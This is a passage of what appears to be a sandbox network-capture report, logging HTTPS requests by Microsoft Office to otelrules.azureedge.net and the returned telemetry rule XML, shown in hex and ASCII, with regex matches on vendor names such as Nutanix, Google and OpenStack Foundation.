2024-11-28 12:10:19 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.4	49823	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:18 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:19 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:19 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 5cf18591-601e-000d-7e91-3f2618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121019Z-174f78459685m244hC1EWRgp2c0000000y60000000007k6s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:19 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.4	49830	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:20 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:21 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:20 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 31912d91-001e-000b-236a-4015a7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121020Z-174f7845968cpnpfhC1EWR3afc0000000y1g000000004gvw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:21 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.4	49831	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:20 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:21 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:21 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: b24172ee-901e-0016-3789-3fefe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121021Z-174f7845968xr5c2hC1EWRd0hn0000000f700000000071ty x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:21 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.4	49833	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:20 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:21 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:21 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 5cf18767-601e-000d-7d91-3f2618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121021Z-174f7845968jrjrxhC1EWRmmrs0000000ydg00000000anft x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:21 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.4	49832	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:20 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:21 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:21 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 691d9d27-b01e-0070-2a0b-411cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121021Z-174f7845968pght8hC1EWRyvxg00000001h0000000006ezy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:21 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.4	49834	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:20 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:21 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:21 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 0d23c1bf-201e-0085-2a42-4034e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121021Z-174f7845968psccphC1EWRuz9s0000000yn0000000007902 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:21 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.4	49851	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:23 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:23 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:23 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 4defd72f-901e-005b-7278-402005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121023Z-174f7845968nxc96hC1EWRspw80000000y2g000000008r02 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:23 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.4	49846	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:23 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:23 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:23 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 8bbb4784-e01e-0003-6915-410fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121023Z-174f7845968px8v7hC1EWR08ng0000000yng000000006v18 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:23 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.4	49845	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:23 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:23 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:23 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 09dbda49-a01e-003d-2d45-4098d7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121023Z-174f7845968frfdmhC1EWRxxbw0000000ydg000000006zam x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:23 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.4	49849	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:23 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:23 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:23 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: c77db93f-b01e-003e-210f-418e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121023Z-174f7845968jrjrxhC1EWRmmrs0000000ygg000000006901 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:23 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.4	49848	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:23 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:23 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:23 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 417b9f3b-401e-0029-4091-3f9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121023Z-174f78459684bddphC1EWRbht40000000y80000000000hv3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:23 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.4	49869	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:25 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
